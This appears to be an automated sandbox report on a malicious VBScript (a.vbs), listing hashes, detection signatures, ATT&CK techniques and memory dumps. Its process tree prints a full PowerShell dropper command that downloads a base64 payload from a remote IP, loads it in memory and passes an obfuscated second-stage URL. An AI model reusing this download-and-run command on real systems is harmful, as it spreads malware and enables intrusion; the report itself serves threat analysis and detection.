03b0e67b65740307c5f7109587ff3218aa803c0998a23f83f8790fd9a1e0fb47

Analysis

max time kernel
323s
max time network
336s
platform
windows7_x64
resource
win7-20221111-es
resource tags

arch:x64arch:x86image:win7-20221111-eslocale:es-esos:windows7-x64systemwindows
submitted
05-12-2022 17:37

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General

Target

a.vbs
Size

226KB
MD5

9792c84f24e1492cc4d179523fdfcb9d
SHA1

f53e9afdd5ba3302186b6be1ac446c9f081c362f
SHA256

03b0e67b65740307c5f7109587ff3218aa803c0998a23f83f8790fd9a1e0fb47
SHA512

83c42a63b51dfa007012ef6f0b8e2c5e8df31610d2af391f62e7921ce5bc5bdc7eff31f255d8ab96a58563ecb20f0051f61e9482b97ce97ee60e0cfbd0d1518e
SSDEEP

3072:eXFJliLfuE8ozlADw8auustFmbicHkwOt4MYI2x75nehsqgB3F23st+Zn3F/MvVF:sliLfudcHV

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://4.204.233.44/Dll/Dll.ppam

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

4 1488 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1488 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1488 powershell.exe

flow	pid	process
4	1488	powershell.exe

pid	process
1488	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1488	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 888 wrote to memory of 1488	888	WScript.exe	powershell.exe
PID 888 wrote to memory of 1488	888	WScript.exe	powershell.exe
PID 888 wrote to memory of 1488	888	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\a.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:888

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $roWg = [system.Convert]::FromBase64string((New-object Net.WebClient).DownloadString('http://4.204.233.44/Dll/Dll.ppam'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.2008edod2/9278076503521797401/6154437779443457401/stnemhcatta/moc.ppadrocsid.ndc//:sptth'))
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1488

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/888-54-0x000007FEFBB61000-0x000007FEFBB63000-memory.dmp

Filesize
8KB

Download
memory/1488-55-0x0000000000000000-mapping.dmp

Download
memory/1488-57-0x000007FEF33E0000-0x000007FEF3E03000-memory.dmp

Filesize
10.1MB

Download
memory/1488-59-0x00000000023B4000-0x00000000023B7000-memory.dmp

Filesize
12KB

Download
memory/1488-58-0x000007FEF2880000-0x000007FEF33DD000-memory.dmp

Filesize
11.4MB

Download
memory/1488-60-0x000000001B780000-0x000000001BA7F000-memory.dmp

Filesize
3.0MB

Download
memory/1488-61-0x00000000023BB000-0x00000000023DA000-memory.dmp

Filesize
124KB

Download
memory/1488-62-0x00000000023B4000-0x00000000023B7000-memory.dmp

Filesize
12KB

Download
memory/1488-63-0x00000000023BB000-0x00000000023DA000-memory.dmp

Filesize
124KB

Download